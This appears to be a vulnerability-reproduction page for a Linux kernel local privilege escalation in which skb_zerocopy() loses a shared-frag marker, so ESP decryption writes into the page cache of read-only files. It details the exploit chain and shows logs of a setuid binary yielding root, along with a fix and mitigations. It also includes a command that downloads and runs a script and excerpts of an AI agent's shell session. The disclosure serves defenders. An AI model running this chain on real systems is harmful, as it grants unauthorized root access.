REPRO-2026-00388: Verified Reproduction
REPRO-2026-00388: ZDI-CAN-33367: Linux Kernel skb zerocopy shared-frag marker loss → NFQUEUE/ESP in-place decrypt → page-cache corruption local privilege escalation
REPRO-2026-00388 is verified against the affected target. Vulnerability class: Privilege Escalation. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00388.
What Is REPRO-2026-00388?
REPRO-2026-00388 is a high-severity Privilege Escalation vulnerability. Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00388).
REPRO-2026-00388 Severity
REPRO-2026-00388 is rated high severity.
High — serious impact or readily exploitable. Prioritize remediation.
How to Reproduce REPRO-2026-00388
pruva-verify REPRO-2026-00388 curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00388/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for REPRO-2026-00388
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
Unprivileged local process: 8 bytes spliced from a read-only root-owned file page (plus a 514-byte attacker vector) sent as a UDP datagram, plus the attacker's own namespace setup (unshare user+net, nlmon0, XFRM ESP state/policy, nftables queue 0, tc pedit + mirred redirect). No privileged input and no KASLR leak is n…
- splice(file page)
- UDP
- LOCAL_OUT nft queue 0
- nfqnl_build_packet_message()
- skb_zerocopy() (drops SKBFL_SHARED_FRAG)
- netlink tap
- nlmon0
- tc pedit (96-byte linear prefix rewritten into eth|IPv4|ESP|IV|ciphertext)
- mirred egress redirect lo
- loopback RX
- xfrm4_policy_check/esp4_rcv
- esp_input() skips skb_cow_data()
- authenticated AES-CBC decrypt in place over the page-cache frags
reproduction_steps.sh How the agent worked
Root Cause and Exploit Chain for REPRO-2026-00388
Linux Kernel skb_zerocopy() shared-frag marker loss -> NFQUEUE -> in-place IPsec ESP
decryption over page-cache backed skb frags -> local privilege escalation
Canonical identifier: ZDI-CAN-33367 (no CVE assigned as of 2026-10-26; the identifier is deliberately not renamed).
skb_zerocopy() (net/core/skbuff.c) moves fragment descriptors from a source skb into a
destination skb and takes a page reference for each transferred frag, but it never merges
skb_shinfo(from)->flags & SKBFL_SHARED_FRAG into skb_shinfo(to)->flags. skb_zerocopy_clone()
only transfers zerocopy destructor metadata, so the splice-backed shared-fragment marker is
silently lost at that boundary.
NFQUEUE builds its NFQA_PAYLOAD netlink message with exactly this helper
(nfqnl_build_packet_message() -> skb_zerocopy()), so a packet whose frags are page-cache pages
attached with splice(2) produces a destination skb that still owns those page references but
reports skb_has_shared_frag() as false. A netlink tap (nlmon) mirrors that message skb onto a
netdevice, where traffic-control pedit rewrites only the linear prefix into a valid ESP packet and
mirred redirects it to lo. esp_input() sees a nonlinear, uncloned skb without
SKBFL_SHARED_FRAG, skips skb_cow_data(), and performs authenticated AES-CBC decryption in place -
writing the attacker-chosen plaintext directly into the page cache of a file the attacker may only
read.
The vulnerability is a gap in the earlier "Dirty Frag" fix (f4c50a4034e6, xfrm: esp: avoid in-place decrypt on shared skb frags, present in the tested 6.12.111 tree at
net/ipv4/esp4.c:876): the marker is only useful if every helper that moves frags between skbs
propagates it.
- Component: Linux kernel networking stack -
skb_zerocopy()(net/core/skbuff.c), consumed bynet/netfilter/nfnetlink_queue.candnet/openvswitch/datapath.c. - Affected versions: the helper exists since kernel 3.14 (
af2806f8f90a); the marker-loss gap is exploitable on any kernel that carries the ESP shared-frag check but not the propagation fix - including 6.12.111 / 6.12.113 (Debian 13) used for this reproduction, and the 7.3-rc1 build the reporter tested. - Risk: local privilege escalation. An unprivileged local user can rewrite the page cache of any
file it can read (setuid-root binaries,
/etc/passwd, ...) and obtain uid 0. CVSS 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H). The write is page-cache only: the on-disk copy and the inode metadata are untouched, so the corruption is invisible to file-integrity tooling until the cached pages are evicted or the system is rebooted. - Preconditions: unprivileged user namespaces enabled, and the networking pieces the PoC needs
(
nlmon,nfnetlink_queue,nft_queue/xt_NFQUEUE,cls_u32/cls_matchall,act_pedit,act_mirred,esp4,xfrm_user). No KASLR leak and no capability beyond what the attacker's own user+network namespace grants are required.
Impact Parity
- Disclosed/claimed maximum impact: local privilege escalation to root through page-cache corruption of a read-only root-owned file.
- Reproduced impact from this run: full - two independent vulnerable boots rewrite the page cache
of a root-owned mode-0444 file (
ZFRG-OK!at file offset 4160) and rewrite the read-only.rodatagate of a root-owned mode-4755 binary, which then executes as real uid 0 (ROOTME_GRANTED uid=0 euid=0+uid=0(root)fromid). Two independent fixed-kernel boots run the identical input and fail closed (file unchanged,ROOTME_DENIED uid=1000). - Parity:
full. - Not demonstrated: nothing claimed by the advisory is missing. (The write primitive is 8 bytes per trigger, exactly as in the public PoC; a real-world attacker repeats it to patch a setuid binary.)
Root Cause
splice()from a file into a UDP socket stores the file's page-cache page as an skb frag and setsSKBFL_SHARED_FRAG(skb_splice_from_iter(),net/core/skbuff.c).The nftables
queuestatement (orxt_NFQUEUE) sends the packet tonfnetlink_queue.nfqnl_build_packet_message()allocates the netlink message skb and callsskb_zerocopy(msg, entskb, data_len, hlen)(net/netfilter/nfnetlink_queue.c:938).skb_zerocopy()copies the frag descriptors, callsskb_frag_ref()for each one and returns - it never propagatesskb_shinfo(from)->flags & SKBFL_SHARED_FRAG:skb_shinfo(to)->nr_frags = j; /* frags + page refs moved ... */ return 0; /* ... marker dropped */nlmontaps the message (netlink_tap->dev_queue_xmit()onnlmon0), tcpeditrewrites the first 96 linear bytes intoeth|IPv4(proto=ESP)|ESP|IV|ciphertext[0..38),mirred egress redirecthands the skb tolo, and the loopback receive path routes it into the XFRM inbound policy for 127.0.0.1.esp_input()(net/ipv4/esp4.c) decides between in-place decryption andskb_cow_data():if (!skb_cloned(skb)) { if (!skb_is_nonlinear(skb)) { nfrags = 1; goto skip_cow; } else if (!skb_has_frag_list(skb) && !skb_has_shared_frag(skb)) { nfrags = skb_shinfo(skb)->nr_frags + 1; goto skip_cow; } } err = skb_cow_data(skb, 0, &trailer); /* never reached */skb_has_shared_frag()is false because of step 3, so the authenticated AES-CBC decryption runs over the retained page-cache frags and the plaintext is written straight into the page cache. (The tcpeditaction additionally makes the skb writable, which dropsdatarefto 1 and keepsskb_cloned()false - the!skb_cloned()arm is therefore taken deterministically.)Fix: propagate the marker in the frag-transfer helper, exactly as the other helpers do:
--- a/net/core/skbuff.c +++ b/net/core/skbuff.c @@ skb_zerocopy() skb_shinfo(to)->nr_frags = j; + skb_shinfo(to)->flags |= skb_shinfo(from)->flags & SKBFL_SHARED_FRAG;Upstream review patch (posted 2026-10-22, reviewed by Eric Dumazet, not merged as of 2026-10-26): "net: skbuff: propagate shared-frag marker in skb_zerocopy()" https://lore.kernel.org/all/20261022104217.1852191-1-pointerliu@126.com/. The reproduction's negative control is exactly this one-line change, built from the same tree and the same
.config(kbuild/skbuff.diff).
Reproduction Steps
bundle/repro/reproduction_steps.sh(entry point; self-contained, idempotent).- The script:
- builds two kernels from the same
linux-6.12.111tarball with the same.config(bundle/repro/kbuild.sh):bzImage.vulnandbzImage.fixed(the one-line fix above); - builds a Debian trixie QEMU guest (
bundle/repro/rootfs.sh): initramfs with iproute2/nftables, the exploitskbpoc(bundle/repro/skbpoc.c), a root-owned mode-4755 escalation target (bundle/repro/rootme.c) and a 16 MiB ext4 image for the read-only scratch file; - boots the vulnerable kernel twice and the fixed kernel twice in QEMU/KVM with the same initrd
and a fresh copy of the ext4 image (
bundle/repro/guest_init.shdrives the guest); - in every boot
/init(root) creates the 0444 root-owned target, then runsskbpoc ctlwhich drops to uid 1000 and executesskbpoc exploit- the real trigger chain:unshare(CLONE_NEWUSER|CLONE_NEWNET)-> sysctls ->nlmon0-> XFRM ESP SA + inbound policy ->nft queue num 0on LOCAL_OUT -> NFQUEUE helper bound to queue 0 -> tcclsact+matchallpedit(24 u32 munges) +mirred egress redirect dev lo->splice()of 8 bytes of the target page plus a 514-byte attacker vector into a UDP socket on 127.0.0.1; - after the trigger the ctl parent re-reads the target (page cache), executes the root-owned setuid binary as uid 1000, then drops the page cache and re-reads to show the on-disk copy is untouched.
- builds two kernels from the same
- Expected evidence on the vulnerable kernel:
ESP_SELFTEST ... inner_udp_received=yes,PROBE nfq_msglen=618 linear_prefix=96,TRIGGER changed=1 target_exact=1,PAGE_CACHE_SHA256_AFTER != TARGET_SHA256_BEFORE,DISK_SHA256_AFTER_EVICT == TARGET_SHA256_BEFORE,ROOTME_GRANTED uid=0 euid=0andidprintinguid=0(root). On the fixed kernel the same input yieldsTRIGGER changed=0, identical before/after digests andROOTME_DENIED uid=1000.
Evidence
Per-attempt console logs (final run, exit 0 twice in a row):
bundle/logs/attempts/vuln_att1.log,vuln_att2.log- vulnerable kernelbundle/logs/attempts/fixed_att1.log,fixed_att2.log- fixed kernel (negative control)bundle/logs/kernel_identity.txt- kernel/guest build identity and digestsbundle/repro/proof_summary.txt- condensed machine-readable verdict linesbundle/repro/runtime_manifest.json- structured runtime evidence + artifact digestskbuild/skbuff.diff(in the prepared project cache) - the one-line kernel differential
Vulnerable kernel (logs/attempts/vuln_att1.log)
USERNS unshare=OK userns_uid=0 netns=fresh
ESP_SELFTEST icv_variant=0 inner_udp_received=yes
NFQ_HELPER BIND_ACK err=0
NFQUEUE_BIND queue=0 copy_mode=NFQNL_COPY_PACKET copy_range=65535 flags=GSO|UID_GID
NFT_QUEUE_SETUP table=zdi chain=out hook=LOCAL_OUT queue=0
PROBE nfq_msglen=618 linear_prefix=96 frags=8+514
NFT_DUMP counter packets 1 bytes 550 queue to 0
LAYOUT linear=96 ct_off=38 ciphertext=544 icv_at=602 total=618
TRIGGER sent=522 target_spliced=8 vector_spliced=514
TRIGGER nfq_msglen=618
INNER_UDP_RECEIVED len=528 (decrypted in place, delivered on lo)
TRIGGER changed=1 target_exact=1 guards_ok=1
A. read-only root-owned scratch file (/mnt/target.bin, ext4, uid=0 mode=0444,
WRITE_DENIAL_AS_UID1000 ... errno=13 denied=1):
TARGET_SHA256_BEFORE=ec18472a64d15a76eb7dcb5df6a23659155c01acae552de91bfbc75de1a74189
PAGE_CACHE_SHA256_AFTER=2e543af3f2834c4ffa6fcbe691bedddbf711dcda3aadcecf6baa0b7a27b65e05
DISK_SHA256_AFTER_EVICT=ec18472a64d15a76eb7dcb5df6a23659155c01acae552de91bfbc75de1a74189
SCRATCH_PROOF_EXIT=0
The 8 bytes at file offset 4160 became ZFRG-OK! in the page cache
(TARGET_WINDOW_AFTER ...5a4652472d4f4b21...), the digest changed, and after
drop_caches the window and digest are back to the original: the write landed in the
page cache only.
B. root-owned mode-4755 binary (/usr/local/bin/rootme, .rodata gate at file offset 8352):
ROOTME_GATE hits=1 offset=8352
ROOTME_DENIED uid=1000 euid=0 <- before the attack
TARGET_SLICE_ORIGINAL 5a44492d4f4b2100 <- "ZDI-OK!"
DESIRED_SLICE 5a44492d50574e00 <- "ZDI-PWN"
TRIGGER changed=1 target_exact=1 guards_ok=1
PAGE_CACHE_SHA256_AFTER=86f12e5b18742477be14da2225ca2f2933fe7614bc919298d2e51e9bb6e6c0d9
ROOTME_GRANTED uid=0 euid=0
uid=0(root) gid=0(root) groups=0(root)
ESCALATION_EXEC /usr/local/bin/rootme ZDI-PWN exit=0
SETUID_PROOF_EXIT=0
The 8-byte primitive rewrote the binary's read-only gate inside the page cache; the same
unprivileged user then executed it and got a real uid 0 shell (id printed uid=0(root),
/etc/shadow was readable). The root process also wrote a per-attempt marker file
(ROOTME_MARKER_WRITTEN /root/zdi33367_root_marker.txt ZDI33367_ROOT_MARKER_vuln_att1), which the
harness recovered as bundle/logs/evidence/root_marker_vuln_att{1,2}.txt; the fixed boots produce
no marker (bundle/logs/evidence/negctl_fixed_att{1,2}.json).
Fixed kernel, identical input (logs/attempts/fixed_att1.log)
ESP_SELFTEST icv_variant=0 inner_udp_received=yes
PROBE nfq_msglen=618 linear_prefix=96 frags=8+514
INNER_UDP_RECEIVED len=528 (decrypted in place, delivered on lo)
TRIGGER changed=0 target_exact=0 guards_ok=1
SCRATCH_PROOF_EXIT=1
ROOTME_DENIED uid=1000 euid=0
SETUID_PROOF_EXIT=1
The whole chain still runs and the authenticated ESP packet is still decrypted and
delivered (so the only behavioural difference is the write destination), but the target
page cache is byte-identical before and after (PAGE_CACHE_SHA256_AFTER equals
TARGET_SHA256_BEFORE) and the setuid binary still denies - skb_cow_data() linearised
the frags because the marker was propagated.
Recommendations / Next Steps
- Apply the upstream propagation fix (
skb_shinfo(to)->flags |= skb_shinfo(from)->flags & SKBFL_SHARED_FRAG;inskb_zerocopy()), or the distribution backports (AlmaLinuxkernel-4.18.0-553.177.2.el8_10,kernel-5.14.0-687.59.2.el9_8,kernel-6.12.0-211.68.2.el10_2). - Interim mitigation:
user.max_user_namespaces=0(blocks the unprivileged namespace setup), or blocking thenlmon/act_peditmodules where they are not needed. - Audit the remaining frag-transfer helpers for the same marker loss; the advisory notes several follow-up reports for other paths.
- Detection: the syscall sequence (user+net namespace unshare -> nlmon -> XFRM -> NFQUEUE -> tc pedit
redirect ->
splice()to loopback) is highly distinctive for a single unprivileged process.
Additional Notes
- Idempotency:
kbuild.sh/rootfs.shcache their outputs under the prepared project cache and can be re-run safely; each boot uses a fresh copy of the ext4 target image, so repeated runs are independent. - Limitations: the write primitive transfers 8 attacker-chosen bytes per trigger at a chosen file offset (the public PoC behaves the same way); the demonstration therefore patches a single gate inside a root-owned setuid binary rather than rewriting a whole file. The corrupted page is not marked dirty, so the on-disk copy stays intact (shown by the drop-cache re-read).
- Both kernels are built from the same tree,
.configand compiler; the only difference is the one-line marker propagation, so the vulnerable/fixed difference is not a configuration artefact.
REPRO-2026-00388 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
cd /data/pruva/runs/e65f6fb2-dc39-4e42-a475-35e478ff36f3/bundle && python3 -c "
import json
d=json.load(open('learning/exploit_knowledge_preflight.json'))
print(type(d), list(d.keys()) if isinstance(d,dict) else len(d))
" EXPLOIT-KNOWLEDGE PREFLIGHT REVIEW REQUIRED: `run_shell` is blocked until this agent calls `review_exploit_knowledge_preflight` with snapshot_sha256 `2a897b253b572a6394f3286e89be217582bce9c43ac32f987d54217ba732e9b1` and exactly one disposition for each candidate ID [07aa53d5-112d-4c7c-a162-296a191ca4d5, 095b9dc1-70de-4b1e-8514-7de0b39bdc6a, 2a555c86-1a97-41b0-8cb0-e6bbd8ae48f3, 2c5cb943-263a-48a8-bf4a-422e1ee7fa5d, 575be88b-ccf0-466d-a7c7-3a9972b54581, 66cba352-5e66-4ea8-a77d-2fa5af6ef847, 7b5bf...
Unknown error
ls -la /data/pruva/project-cache/.run-views/eb9c603a10dfcc6ef5aecc13f7417e03660b67262822fa906c4bd143abc82e85/ 2>&1 | head -50; echo ---; cat /data/pruva/project-cache/.run-views/eb9c603a10dfcc6ef5aecc13f7417e03660b67262822fa906c4bd143abc82e85/.pruva/cache_manifest.json 2>&1 | head -50total 16
drwx------ 4 nemesis nemesis 4096 Oct 26 18:42 .
drwx------ 4 nemesis nemesis 4096 Oct 26 18:42 ..
drwx------ 2 nemesis nemesis 4096 Oct 26 18:42 .pruva
drwx------ 2 nemesis nemesis 4096 Oct 26 18:42 repo-mirrors
---
{
"schema_version": 1,echo "== uname =="; uname -a; echo "== cpuinfo virt =="; grep -m1 -o 'vmx\|svm' /proc/cpuinfo; echo "== kvm =="; ls -la /dev/kvm 2>&1; echo "== qemu =="; which qemu-system-x86_64 qemu-img 2>&1; echo "== gcc =="; gcc --version 2>&1|head -1; echo "== docker =="; which docker 2>&1; docker ps 2>&1|head -3; echo "== id =="; id; echo "== nproc/mem =="; nproc; free -m|head -2; echo "== disk =="; df -h /data 2>&1|tail -2== uname == Linux pruva-kernel-02 6.12.113+deb13-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.113-1 (2026-10-15) x86_64 GNU/Linux == cpuinfo virt == vmx == kvm == crw-rw---- 1 root kvm 10, 232 Oct 23 07:18 /dev/kvm == qemu == /usr/bin/qemu-system-x86_64
ls /data/pruva/project-cache/ 2>&1 | head; echo ---; ls /data/pruva/project-cache/.run-views/ 2>&1 | head; echo ---; du -sh /data/pruva/project-cache/* 2>/dev/null | head -20; echo === ; ls /data/pruva/ 2>&1; echo ===; ls /data/pruva/runs/ 2>&1 | head -20empty-cache-generation-v1 project-aa37a531-bf25-4d21-8ae7-14dc3c062eff-generation-074f216fb4d54f1cab133c61051f0c0d project-f0085ade-883a-48a0-b51a-e5b6ada49937-generation-6894d68bd9064a4abfe29083eb561d1f --- eb9c603a10dfcc6ef5aecc13f7417e03660b67262822fa906c4bd143abc82e85 --- 4.0K /data/pruva/project-cache/empty-cache-generation-v1 728K /data/pruva/project-cache/project-aa37a531-bf25-4d21-8ae7-14dc3c062eff-generation-074f216fb4d54f1cab133c61051f0c0d
Artifacts and Evidence for REPRO-2026-00388
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix REPRO-2026-00388
FAQ: REPRO-2026-00388
Is REPRO-2026-00388 exploitable?
How severe is REPRO-2026-00388?
What type of vulnerability is REPRO-2026-00388?
How can I reproduce REPRO-2026-00388?
Is the REPRO-2026-00388 reproduction verified?
References for REPRO-2026-00388
Authoritative sources for REPRO-2026-00388 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.